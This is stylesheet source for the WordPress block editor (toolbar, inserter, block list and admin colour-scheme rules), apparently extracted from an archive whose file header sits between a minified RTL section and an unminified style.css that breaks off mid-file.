.components-toolbar-group>div:first-child:last-child>.components-button.has-icon{padding-right:6px;padding-left:6px}.show-icon-labels .block-editor-block-switcher{border-left:1px solid #1e1e1e}.show-icon-labels .block-editor-block-switcher .components-dropdown-menu__toggle{margin-right:0}.show-icon-labels .block-editor-block-switcher .components-dropdown-menu__toggle .block-editor-block-icon,.show-icon-labels .block-editor-block-switcher__no-switcher-icon .block-editor-block-icon{width:0!important;height:0!important}.show-icon-labels .block-editor-block-switcher .components-dropdown-menu__toggle:focus:before,.show-icon-labels .block-editor-block-switcher__no-switcher-icon:focus:before{left:4px!important}.show-icon-labels .block-editor-block-parent-selector__button .block-editor-block-icon{width:0}.show-icon-labels .block-editor-block-toolbar__block-controls .block-editor-block-mover{margin-right:0;white-space:nowrap}.show-icon-labels .block-editor-block-mover-button{padding-right:8px!important;padding-left:8px!important}.show-icon-labels .block-editor-block-mover__drag-handle.has-icon{padding-right:6px!important;padding-left:6px!important;border-left:1px solid #1e1e1e}@media (min-width:600px){.show-icon-labels .is-up-button.is-up-button.is-up-button{border-bottom:1px solid #1e1e1e;margin-left:0;border-radius:0}}.show-icon-labels .block-editor-block-contextual-toolbar .block-editor-block-mover.is-horizontal .block-editor-block-mover-button.block-editor-block-mover-button{width:auto}.show-icon-labels .components-toolbar,.show-icon-labels .components-toolbar-group{flex-shrink:1}.show-icon-labels .block-editor-format-toolbar .components-button+.components-button{margin-right:6px}.block-editor-inserter{display:inline-block;background:none;border:none;padding:0;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;line-height:0}@media (min-width:782px){.block-editor-inserter{position:relative}}.block-editor-inserter__popover.is-quick .components-popover__content{border:none}.block-editor-inserter__popover.is-quick .components-popover__content .block-editor-inserter__quick-inserter>*{border-right:1px solid #ccc;border-left:1px solid #ccc}.block-editor-inserter__popover.is-quick .components-popover__content .block-editor-inserter__quick-inserter>:first-child{border-top:1px solid #ccc}.block-editor-inserter__popover.is-quick .components-popover__content .block-editor-inserter__quick-inserter>:last-child{border-bottom:1px solid #ccc}.block-editor-inserter__popover.is-quick .components-popover__content .block-editor-inserter__quick-inserter>.components-button{border:1px solid #1e1e1e}.block-editor-inserter__popover .block-editor-inserter__menu{margin:-12px}.block-editor-inserter__popover .block-editor-inserter__menu .block-editor-inserter__tabs .components-tab-panel__tabs{top:60px}.block-editor-inserter__popover .block-editor-inserter__menu .block-editor-inserter__main-area{overflow:visible;height:auto}.block-editor-inserter__popover .block-editor-inserter__menu .block-editor-inserter__preview-container{display:none}.block-editor-inserter__toggle.components-button{display:inline-flex;align-items:center;cursor:pointer;border:none;outline:none;padding:0;transition:color .2s ease}@media (prefers-reduced-motion:reduce){.block-editor-inserter__toggle.components-button{transition-duration:0s}}.block-editor-inserter__menu{height:100%;position:relative;overflow:visible}.block-editor-inserter__main-area{width:auto;overflow-y:auto;height:100%}@media (min-width:782px){.block-editor-inserter__main-area{width:350px}}.block-editor-inserter__inline-elements{margin-top:-1px}.block-editor-inserter__menu.is-bottom:after{border-bottom-color:#fff}.components-popover.block-editor-inserter__popover{z-index:99999}.block-editor-inserter__search{padding:16px;position:-webkit-sticky;position:sticky;top:0;background:#fff;z-index:1}.block-editor-inserter__search input[type=search].block-editor-inserter__search-input{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;box-shadow:0 0 0 transparent;transition:box-shadow .1s linear;border-radius:2px;line-height:normal;display:block;padding:16px 16px 16px 48px;background:#f0f0f0;border:none;width:100%;height:48px;font-size:16px}@media (prefers-reduced-motion:reduce){.block-editor-inserter__search input[type=search].block-editor-inserter__search-input{transition-duration:0s}}@media (min-width:600px){.block-editor-inserter__search input[type=search].block-editor-inserter__search-input{font-size:13px;line-height:normal}}.block-editor-inserter__search input[type=search].block-editor-inserter__search-input:focus{border-color:#007cba;border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 1px #007cba;box-shadow:0 0 0 1px var(--wp-admin-theme-color);outline:2px solid transparent}.block-editor-inserter__search input[type=search].block-editor-inserter__search-input::-webkit-input-placeholder{color:rgba(30,30,30,.62)}.block-editor-inserter__search input[type=search].block-editor-inserter__search-input::-moz-placeholder{opacity:1;color:rgba(30,30,30,.62)}.block-editor-inserter__search input[type=search].block-editor-inserter__search-input:-ms-input-placeholder{color:rgba(30,30,30,.62)}.is-dark-theme .block-editor-inserter__search input[type=search].block-editor-inserter__search-input::-webkit-input-placeholder{color:hsla(0,0%,100%,.65)}.is-dark-theme .block-editor-inserter__search input[type=search].block-editor-inserter__search-input::-moz-placeholder{opacity:1;color:hsla(0,0%,100%,.65)}.is-dark-theme .block-editor-inserter__search input[type=search].block-editor-inserter__search-input:-ms-input-placeholder{color:hsla(0,0%,100%,.65)}@media (min-width:600px){.block-editor-inserter__search input[type=search].block-editor-inserter__search-input{font-size:13px}}.block-editor-inserter__search input[type=search].block-editor-inserter__search-input:focus{background:#fff;box-shadow:0 0 0 2px #007cba;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.block-editor-inserter__search input[type=search].block-editor-inserter__search-input:-ms-input-placeholder{color:#757575}.block-editor-inserter__search input[type=search].block-editor-inserter__search-input::placeholder{color:#757575}.block-editor-inserter__search input[type=search].block-editor-inserter__search-input::-webkit-search-cancel-button,.block-editor-inserter__search input[type=search].block-editor-inserter__search-input::-webkit-search-decoration,.block-editor-inserter__search input[type=search].block-editor-inserter__search-input::-webkit-search-results-button,.block-editor-inserter__search input[type=search].block-editor-inserter__search-input::-webkit-search-results-decoration{-webkit-appearance:none}.block-editor-inserter__search-icon{position:absolute;top:0;left:20px;bottom:0;display:flex;align-items:center}.block-editor-inserter__search-icon>svg{margin:8px}.block-editor-inserter__tabs{display:flex;flex-direction:column;margin-top:-8px}.block-editor-inserter__tabs .components-tab-panel__tabs{position:-webkit-sticky;position:sticky;top:72px;background:#fff;z-index:1;border-bottom:1px solid #ddd}.block-editor-inserter__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item{flex-grow:1;margin-bottom:-1px}.block-editor-inserter__tabs .components-tab-panel__tab-content{display:flex;flex-grow:1;flex-direction:column;position:relative}.block-editor-inserter__panel-header{display:inline-flex;align-items:center;padding:16px 16px 0}.block-editor-inserter__panel-header-patterns{padding:16px 16px 0}.block-editor-inserter__panel-content{padding:16px}.block-editor-inserter__panel-title,.block-editor-inserter__panel-title button{margin:0 0 0 12px;color:#757575;text-transform:uppercase;font-size:11px;font-weight:500}.block-editor-inserter__panel-dropdown select.components-select-control__input.components-select-control__input.components-select-control__input{line-height:1.2}.block-editor-inserter__panel-dropdown select{border:none}.block-editor-inserter__block-list{flex-grow:1;position:relative}.block-editor-inserter__popover .block-editor-block-types-list{margin:-8px}.block-editor-inserter__reusable-blocks-panel{position:relative;text-align:left}.block-editor-inserter__manage-reusable-blocks{display:inline-block;margin:16px}.block-editor-inserter__no-results{padding:32px;margin-top:64px;text-align:center}.block-editor-inserter__no-results-icon{fill:#949494}.block-editor-inserter__child-blocks{padding:0 16px}.block-editor-inserter__parent-block-header{display:flex;align-items:center}.block-editor-inserter__parent-block-header h2{font-size:13px}.block-editor-inserter__parent-block-header .block-editor-block-icon{margin-left:8px}.block-editor-inserter__preview-container{display:none;width:300px;background:#fff;border-radius:2px;border:1px solid #ddd;position:absolute;top:16px;right:calc(100% + 16px);max-height:calc(100% - 32px);overflow-y:hidden}@media (min-width:782px){.block-editor-inserter__preview-container{display:block}}.block-editor-inserter__preview-container .block-editor-block-card{padding:16px}.block-editor-inserter__preview-container .block-editor-block-card__title{font-size:13px}.block-editor-inserter__preview-content{min-height:144px;background:#f0f0f0;display:-ms-grid;display:grid;flex-grow:1;align-items:center}.block-editor-inserter__preview-content-missing{flex:1;display:flex;justify-content:center;align-items:center;min-height:144px;color:#757575;background:#f0f0f0}.block-editor-inserter__tips{border-top:1px solid #ddd;padding:16px;flex-shrink:0;position:relative}.block-editor-inserter__manage-reusable-blocks-container{padding:16px}.block-editor-inserter__quick-inserter{width:100%;max-width:100%}@media (min-width:782px){.block-editor-inserter__quick-inserter{width:350px}}.block-editor-inserter__quick-inserter-results .block-editor-inserter__panel-header{height:0;padding:0;float:right}.block-editor-inserter__quick-inserter .block-editor-inserter__panel-content{padding:8px}.block-editor-inserter__quick-inserter.has-expand .block-editor-inserter__panel-content,.block-editor-inserter__quick-inserter.has-search .block-editor-inserter__panel-content{padding:16px}.block-editor-inserter__quick-inserter-patterns{display:-ms-grid;display:grid;-ms-grid-columns:1fr 1fr;grid-template-columns:1fr 1fr;grid-gap:8px}.block-editor-inserter__quick-inserter-separator{border-top:1px solid #ddd}.block-editor-inserter__popover.is-quick>.components-popover__content>div{padding:0}.block-editor-inserter__quick-inserter-expand.components-button{display:block;background:#1e1e1e;color:#fff;width:100%;height:44px;border-radius:0}.block-editor-inserter__quick-inserter-expand.components-button:hover{color:#fff}.block-editor-inserter__quick-inserter-expand.components-button:active{color:#ccc}.block-editor-inserter__quick-inserter-expand.components-button:focus:not(:disabled){box-shadow:inset 0 0 0 1.5px #007cba,inset 0 0 0 3px #fff;box-shadow:inset 0 0 0 1.5px var(--wp-admin-theme-color),inset 0 0 0 3px #fff}.block-editor-post-preview__dropdown{padding:0}.block-editor-post-preview__button-resize.block-editor-post-preview__button-resize{padding-right:40px}.block-editor-post-preview__button-resize.block-editor-post-preview__button-resize.has-icon{padding-right:8px}.block-editor-post-preview__dropdown-content .components-popover__content{overflow-y:visible}.block-editor-post-preview__dropdown-content.edit-post-post-preview-dropdown .components-menu-group:first-child{padding-bottom:8px}.block-editor-post-preview__dropdown-content.edit-post-post-preview-dropdown .components-menu-group:last-child{margin-bottom:0}.block-editor-post-preview__dropdown-content .components-menu-group+.components-menu-group{padding:8px}@media (min-width:600px){.edit-post-header__settings .editor-post-preview,.edit-site-header__actions .editor-post-preview{display:none}}@media (min-width:600px){.edit-post-header.has-reduced-ui .edit-post-header__settings .block-editor-post-preview__button-toggle,.edit-post-header.has-reduced-ui .edit-post-header__settings .editor-post-save-draft,.edit-post-header.has-reduced-ui .edit-post-header__settings .editor-post-saved-state{transition:opacity .1s linear}}@media (min-width:600px) and (prefers-reduced-motion:reduce){.edit-post-header.has-reduced-ui .edit-post-header__settings .block-editor-post-preview__button-toggle,.edit-post-header.has-reduced-ui .edit-post-header__settings .editor-post-save-draft,.edit-post-header.has-reduced-ui .edit-post-header__settings .editor-post-saved-state{transition-duration:0s}}@media (min-width:600px){.edit-post-header.has-reduced-ui:not(:hover) .edit-post-header__settings .block-editor-post-preview__button-toggle,.edit-post-header.has-reduced-ui:not(:hover) .edit-post-header__settings .editor-post-save-draft,.edit-post-header.has-reduced-ui:not(:hover) .edit-post-header__settings .editor-post-saved-state{opacity:0}.edit-post-header.has-reduced-ui:not(:hover) .edit-post-header__settings .block-editor-post-preview__button-toggle.is-opened{opacity:1}}body.admin-color-light{--wp-admin-theme-color:#0085ba;--wp-admin-theme-color-darker-10:#0073a1;--wp-admin-theme-color-darker-20:#006187;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-light{--wp-admin-border-width-focus:1.5px}}body.admin-color-modern{--wp-admin-theme-color:#3858e9;--wp-admin-theme-color-darker-10:#2145e6;--wp-admin-theme-color-darker-20:#183ad6;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-modern{--wp-admin-border-width-focus:1.5px}}body.admin-color-blue{--wp-admin-theme-color:#096484;--wp-admin-theme-color-darker-10:#07526c;--wp-admin-theme-color-darker-20:#064054;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-blue{--wp-admin-border-width-focus:1.5px}}body.admin-color-coffee{--wp-admin-theme-color:#46403c;--wp-admin-theme-color-darker-10:#383330;--wp-admin-theme-color-darker-20:#2b2724;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-coffee{--wp-admin-border-width-focus:1.5px}}body.admin-color-ectoplasm{--wp-admin-theme-color:#523f6d;--wp-admin-theme-color-darker-10:#46365d;--wp-admin-theme-color-darker-20:#3a2c4d;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-ectoplasm{--wp-admin-border-width-focus:1.5px}}body.admin-color-midnight{--wp-admin-theme-color:#e14d43;--wp-admin-theme-color-darker-10:#dd382d;--wp-admin-theme-color-darker-20:#d02c21;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-midnight{--wp-admin-border-width-focus:1.5px}}body.admin-color-ocean{--wp-admin-theme-color:#627c83;--wp-admin-theme-color-darker-10:#576e74;--wp-admin-theme-color-darker-20:#4c6066;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-ocean{--wp-admin-border-width-focus:1.5px}}body.admin-color-sunrise{--wp-admin-theme-color:#dd823b;--wp-admin-theme-color-darker-10:#d97426;--wp-admin-theme-color-darker-20:#c36922;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-sunrise{--wp-admin-border-width-focus:1.5px}}css/dist/block-editor/style.css000064400000322377151202620300012534 0ustar00@charset "UTF-8"; /** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * These are default block editor widths in case the theme doesn't provide them. */ :root { --wp-admin-theme-color: #007cba; --wp-admin-theme-color-darker-10: #006ba1; --wp-admin-theme-color-darker-20: #005a87; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { :root { --wp-admin-border-width-focus: 1.5px; } } #start-resizable-editor-section { display: none; } .block-editor-autocompleters__block { white-space: nowrap; } .block-editor-autocompleters__block .block-editor-block-icon { margin-right: 8px; } .block-editor-block-alignment-matrix-toolbar__popover .components-popover__content { min-width: 0; width: auto; } .block-editor-block-alignment-matrix-toolbar__popover .components-popover__content > div { padding: 8px; } .block-editor-block-icon { display: flex; align-items: center; justify-content: center; width: 24px; height: 24px; } .block-editor-block-icon.has-colors svg { fill: currentColor; } .block-editor-block-icon svg { min-width: 20px; min-height: 20px; max-width: 24px; max-height: 24px; } .block-editor-block-inspector .components-base-control { margin-bottom: 24px; } .block-editor-block-inspector .components-base-control:last-child { margin-bottom: 8px; } .block-editor-block-inspector .components-panel__body { border: none; border-top: 1px solid #e0e0e0; } .block-editor-block-inspector .block-editor-block-card { padding: 16px; } .block-editor-block-inspector__no-blocks { display: block; font-size: 13px; background: #fff; padding: 32px 16px; text-align: center; } .block-editor-block-styles .block-editor-block-list__block { margin: 0; } /** * Notices & Block Selected/Hover Styles. */ .block-editor-block-list__layout .block-editor-block-list__block, .block-editor-block-list__layout .block-list-appender { position: relative; } .block-editor-block-list__layout .block-editor-block-list__block.is-drop-target::before, .block-editor-block-list__layout .block-list-appender.is-drop-target::before { content: ""; position: absolute; z-index: 0; pointer-events: none; transition: border-color 0.1s linear, border-style 0.1s linear, box-shadow 0.1s linear; top: -14px; right: 0; left: 0; border-top: 4px solid #007cba; border-top: 4px solid var(--wp-admin-theme-color); } .block-editor-block-list__layout .block-editor-block-list__block.is-drop-target.is-dropping-horizontally::before, .block-editor-block-list__layout .block-list-appender.is-drop-target.is-dropping-horizontally::before { top: 0; bottom: 0; left: -6px; border-top: none; border-left: 4px solid #007cba; border-left: 4px solid var(--wp-admin-theme-color); } /** * Cross-Block Selection */ .block-editor-block-list__layout { position: relative; } .is-navigate-mode .block-editor-block-list__layout .block-editor-block-list__block.is-selected::after, .is-navigate-mode .block-editor-block-list__layout .block-editor-block-list__block.is-hovered::after, .block-editor-block-list__layout .block-editor-block-list__block.is-highlighted::after, .block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected::after { position: absolute; z-index: 1; pointer-events: none; content: ""; top: 1px; bottom: 1px; left: 1px; right: 1px; box-shadow: 0 0 0 2px #007cba; box-shadow: 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); border-radius: 1px; outline: 2px solid transparent; } .is-dark-theme .is-navigate-mode .block-editor-block-list__layout .block-editor-block-list__block.is-selected::after, .is-dark-theme .is-navigate-mode .block-editor-block-list__layout .block-editor-block-list__block.is-hovered::after, .is-dark-theme .block-editor-block-list__layout .block-editor-block-list__block.is-highlighted::after, .is-dark-theme .block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected::after { box-shadow: 0 0 0 2px #fff; box-shadow: 0 0 0 var(--wp-admin-border-width-focus) #fff; } .is-navigate-mode .block-editor-block-list__layout .block-editor-block-list__block.is-selected .components-placeholder ::selection, .is-navigate-mode .block-editor-block-list__layout .block-editor-block-list__block.is-hovered .components-placeholder ::selection, .block-editor-block-list__layout .block-editor-block-list__block.is-highlighted .components-placeholder ::selection, .block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected .components-placeholder ::selection { background: transparent; } .is-navigate-mode .block-editor-block-list__layout .block-editor-block-list__block.is-hovered:not(.is-selected)::after { box-shadow: 0 0 0 1px #949494; } .block-editor-block-list__layout .is-block-moving-mode.block-editor-block-list__block.has-child-selected { box-shadow: 0 0 0 2px #007cba; box-shadow: 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); outline: 2px solid transparent; outline: var(--wp-admin-border-width-focus) solid transparent; } .block-editor-block-list__layout .is-block-moving-mode.block-editor-block-list__block.is-selected::before { content: ""; position: absolute; z-index: 0; pointer-events: none; transition: border-color 0.1s linear, border-style 0.1s linear, box-shadow 0.1s linear; right: 0; left: 0; top: -14px; border-radius: 2px; border-top: 4px solid #ccc; } .block-editor-block-list__layout .is-block-moving-mode.block-editor-block-list__block.is-selected::after { content: none; } .block-editor-block-list__layout .is-block-moving-mode.can-insert-moving-block.block-editor-block-list__block.is-selected::before { border-color: #007cba; border-color: var(--wp-admin-theme-color); } .is-block-moving-mode.block-editor-block-list__block-selection-button { opacity: 0; font-size: 1px; height: 1px; padding: 0; } .block-editor-block-list__layout .block-editor-block-list__block { position: relative; overflow-wrap: break-word; /** * Notices */ /** * Block Layout */ /** * Block styles and alignments */ } .block-editor-block-list__layout .block-editor-block-list__block .reusable-block-edit-panel * { z-index: 1; } .block-editor-block-list__layout .block-editor-block-list__block .components-placeholder .components-with-notices-ui { margin: -10px 0 12px 0; } .block-editor-block-list__layout .block-editor-block-list__block .components-with-notices-ui { margin: 0 0 12px 0; width: 100%; } .block-editor-block-list__layout .block-editor-block-list__block .components-with-notices-ui .components-notice { margin-left: 0; margin-right: 0; } .block-editor-block-list__layout .block-editor-block-list__block .components-with-notices-ui .components-notice .components-notice__content { font-size: 13px; } .block-editor-block-list__layout .block-editor-block-list__block:not([contenteditable]):focus { outline: none; } .block-editor-block-list__layout .block-editor-block-list__block:not([contenteditable]):focus::after { position: absolute; z-index: 1; pointer-events: none; content: ""; top: 1px; bottom: 1px; left: 1px; right: 1px; box-shadow: 0 0 0 2px #007cba; box-shadow: 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); border-radius: 1px; } .is-dark-theme .block-editor-block-list__layout .block-editor-block-list__block:not([contenteditable]):focus::after { box-shadow: 0 0 0 2px #fff; box-shadow: 0 0 0 var(--wp-admin-border-width-focus) #fff; } .block-editor-block-list__layout .block-editor-block-list__block.is-outline-mode.is-selected:not(.is-typing)::after { box-shadow: 0 0 0 1px #1e1e1e; top: 1px; left: 1px; right: 1px; bottom: 1px; border-radius: 1px; } .block-editor-block-list__layout .block-editor-block-list__block.is-outline-mode.is-selected:not(.is-typing):focus::after { box-shadow: 0 0 0 2px #007cba; box-shadow: 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); } .block-editor-block-list__layout .block-editor-block-list__block.is-outline-mode.is-hovered:not(.is-typing) { cursor: default; } .block-editor-block-list__layout .block-editor-block-list__block.is-outline-mode.is-hovered:not(.is-typing)::after { top: 1px; left: 1px; right: 1px; bottom: 1px; box-shadow: 0 0 0 1px #007cba; box-shadow: 0 0 0 1px var(--wp-admin-theme-color); border-radius: 1px; } .block-editor-block-list__layout .block-editor-block-list__block.is-focus-mode:not(.is-multi-selected) { opacity: 0.5; transition: opacity 0.1s linear; } @media (prefers-reduced-motion: reduce) { .block-editor-block-list__layout .block-editor-block-list__block.is-focus-mode:not(.is-multi-selected) { transition-duration: 0s; } } .block-editor-block-list__layout .block-editor-block-list__block.is-focus-mode:not(.is-multi-selected):not(.is-focused) .block-editor-block-list__block, .block-editor-block-list__layout .block-editor-block-list__block.is-focus-mode:not(.is-multi-selected).is-focused { opacity: 1; } .block-editor-block-list__layout .block-editor-block-list__block.has-active-entity:not(.is-focus-mode) { opacity: 0.5; transition: opacity 0.1s linear; } @media (prefers-reduced-motion: reduce) { .block-editor-block-list__layout .block-editor-block-list__block.has-active-entity:not(.is-focus-mode) { transition-duration: 0s; } } .block-editor-block-list__layout .block-editor-block-list__block.has-active-entity:not(.is-focus-mode).is-active-entity, .block-editor-block-list__layout .block-editor-block-list__block.has-active-entity:not(.is-focus-mode).has-child-selected, .block-editor-block-list__layout .block-editor-block-list__block.has-active-entity:not(.is-focus-mode):not(.has-child-selected) .block-editor-block-list__block, .block-editor-block-list__layout .block-editor-block-list__block.has-active-entity:not(.is-focus-mode).is-active-entity .block-editor-block-list__block, .block-editor-block-list__layout .block-editor-block-list__block.has-active-entity:not(.is-focus-mode) .is-active-entity .block-editor-block-list__block { opacity: 1; } .block-editor-block-list__layout .block-editor-block-list__block::after { content: ""; pointer-events: none; position: absolute; top: 0; right: 0; bottom: 0; left: 0; border-radius: 2px; box-shadow: 0 0 0 2px transparent; box-shadow: 0 0 0 var(--wp-admin-border-width-focus) transparent; } .block-editor-block-list__layout .block-editor-block-list__block.has-warning { min-height: 48px; } .block-editor-block-list__layout .block-editor-block-list__block.has-warning > * { pointer-events: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } .block-editor-block-list__layout .block-editor-block-list__block.has-warning .block-editor-warning { pointer-events: all; } .block-editor-block-list__layout .block-editor-block-list__block.has-warning::after { content: ""; position: absolute; top: 0; right: 0; bottom: 0; left: 0; border-radius: 2px; background-color: rgba(255, 255, 255, 0.4); } .block-editor-block-list__layout .block-editor-block-list__block.has-warning.is-multi-selected::after { background-color: transparent; } .block-editor-block-list__layout .block-editor-block-list__block.is-reusable > .block-editor-inner-blocks > .block-editor-block-list__layout.has-overlay::after { display: none; } .block-editor-block-list__layout .block-editor-block-list__block.is-reusable > .block-editor-inner-blocks > .block-editor-block-list__layout.has-overlay .block-editor-block-list__layout.has-overlay::after { display: block; } .block-editor-block-list__layout .block-editor-block-list__block.is-reusable.has-child-selected::after { box-shadow: 0 0 0 1px #007cba; box-shadow: 0 0 0 1px var(--wp-admin-theme-color); } .is-navigate-mode .block-editor-block-list__layout .block-editor-block-list__block { cursor: default; } .block-editor-block-list__layout .block-editor-block-list__block[data-clear=true] { float: none; } .block-editor-block-list__layout .block-editor-block-list__block .block-editor-block-list__layout .block-editor-default-block-appender .block-editor-inserter { left: auto; right: 8px; } .block-editor-block-list__layout .wp-block { margin-left: auto; margin-right: auto; } .wp-block[data-align=left], .wp-block[data-align=right] { width: 100%; height: 0; } .wp-block[data-align=left]::before, .wp-block[data-align=right]::before { content: none; } .wp-block[data-align=left] > *, .wp-block[data-align=right] > * { z-index: 21; } .wp-block[data-align=left] > * { /*!rtl:begin:ignore*/ float: left; margin-right: 2em; /*!rtl:end:ignore*/ } .wp-block[data-align=right] > * { /*!rtl:begin:ignore*/ float: right; margin-left: 2em; /*!rtl:end:ignore*/ } .wp-block[data-align=full], .wp-block[data-align=wide] { clear: both; } /** * In-Canvas Inserter */ .block-editor-block-list .block-editor-inserter { margin: 8px; cursor: move; cursor: grab; } .block-editor-block-list__insertion-point { position: absolute; } .block-editor-block-list__insertion-point-indicator { position: absolute; background: #007cba; background: var(--wp-admin-theme-color); animation: block-editor-inserter__toggle__fade-in-animation-delayed 0.3s ease; animation-fill-mode: forwards; } @media (prefers-reduced-motion: reduce) { .block-editor-block-list__insertion-point-indicator { animation-duration: 1ms; } } .block-editor-block-list__insertion-point.is-vertical > .block-editor-block-list__insertion-point-indicator { top: 50%; right: 0; left: 0; height: 1px; } .block-editor-block-list__insertion-point.is-horizontal > .block-editor-block-list__insertion-point-indicator { top: 0; right: 0; left: 50%; height: 100%; width: 1px; } .block-editor-block-list__insertion-point-inserter { display: none; position: absolute; justify-content: center; top: calc(50% - 12px); left: calc(50% - 12px); } @media (min-width: 480px) { .block-editor-block-list__insertion-point-inserter { display: flex; } } .block-editor-block-list__block-popover-inserter { position: absolute; top: -9999em; margin-bottom: 14px; } .block-editor-block-list__block-popover-inserter.is-visible { position: static; } .block-editor-block-list__empty-block-inserter .block-editor-inserter__toggle.components-button.has-icon, .block-editor-default-block-appender .block-editor-inserter__toggle.components-button.has-icon, .block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button.has-icon, .block-editor-block-list__block-popover-inserter .block-editor-inserter__toggle.components-button.has-icon { background: #1e1e1e; border-radius: 2px; color: #fff; padding: 0; min-width: 24px; height: 24px; } .block-editor-block-list__empty-block-inserter .block-editor-inserter__toggle.components-button.has-icon:hover, .block-editor-default-block-appender .block-editor-inserter__toggle.components-button.has-icon:hover, .block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button.has-icon:hover, .block-editor-block-list__block-popover-inserter .block-editor-inserter__toggle.components-button.has-icon:hover { color: #fff; background: #007cba; background: var(--wp-admin-theme-color); } .block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button.has-icon { background: #007cba; background: var(--wp-admin-theme-color); } .block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button.has-icon:hover { background: #1e1e1e; } .block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button, .block-editor-block-list__block-popover-inserter .block-editor-inserter__toggle.components-button { animation: block-editor-inserter__toggle__fade-in-animation-delayed 0.3s ease; animation-fill-mode: forwards; } @media (prefers-reduced-motion: reduce) { .block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button, .block-editor-block-list__block-popover-inserter .block-editor-inserter__toggle.components-button { animation-duration: 1ms; } } @keyframes block-editor-inserter__toggle__fade-in-animation-delayed { 0% { opacity: 0; } 60% { opacity: 0; } 100% { opacity: 1; } } @keyframes block-editor-inserter__toggle__fade-in-animation { from { opacity: 0; } to { opacity: 1; } } .wp-block .block-list-appender .block-editor-inserter__toggle { animation: block-editor-inserter__toggle__fade-in-animation 0.1s ease; animation-fill-mode: forwards; } @media (prefers-reduced-motion: reduce) { .wp-block .block-list-appender .block-editor-inserter__toggle { animation-duration: 1ms; } } .block-editor-block-list__block:not(.is-selected):not(.has-child-selected) .block-editor-default-block-appender { display: none; } .block-editor-block-list__block:not(.is-selected):not(.has-child-selected) .block-editor-default-block-appender .block-editor-inserter__toggle { opacity: 0; transform: scale(0); } .block-editor-block-list__block .block-editor-block-list__block-html-textarea { display: block; margin: 0; padding: 12px; width: 100%; border: none; outline: none; border-radius: 2px; box-shadow: inset 0 0 0 1px #1e1e1e; resize: none; overflow: hidden; font-family: Menlo, Consolas, monaco, monospace; font-size: 15px; line-height: 1.5; transition: padding 0.2s linear; } @media (prefers-reduced-motion: reduce) { .block-editor-block-list__block .block-editor-block-list__block-html-textarea { transition-duration: 0s; } } .block-editor-block-list__block .block-editor-block-list__block-html-textarea:focus { box-shadow: inset 0 0 0 2px #007cba; box-shadow: inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); } /** * Block Toolbar when contextual. */ .block-editor-block-contextual-toolbar { border: 1px solid #1e1e1e; border-radius: 2px; background-color: #fff; } .block-editor-block-contextual-toolbar .block-editor-block-toolbar .components-toolbar-group, .block-editor-block-contextual-toolbar .block-editor-block-toolbar .components-toolbar { border-right-color: #1e1e1e; } .block-editor-block-contextual-toolbar .block-editor-block-mover-button { overflow: hidden; } .block-editor-block-contextual-toolbar .block-editor-block-mover.is-horizontal .block-editor-block-mover-button.block-editor-block-mover-button { min-width: 24px; width: 24px; } .block-editor-block-contextual-toolbar .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover-button:focus::before { left: 0 !important; min-width: 0; width: 100%; } .block-editor-block-contextual-toolbar .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover-button.is-up-button svg { top: 5px; } .block-editor-block-contextual-toolbar .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover-button.is-down-button svg { bottom: 5px; } /** * Block Label for Navigation/Selection Mode */ 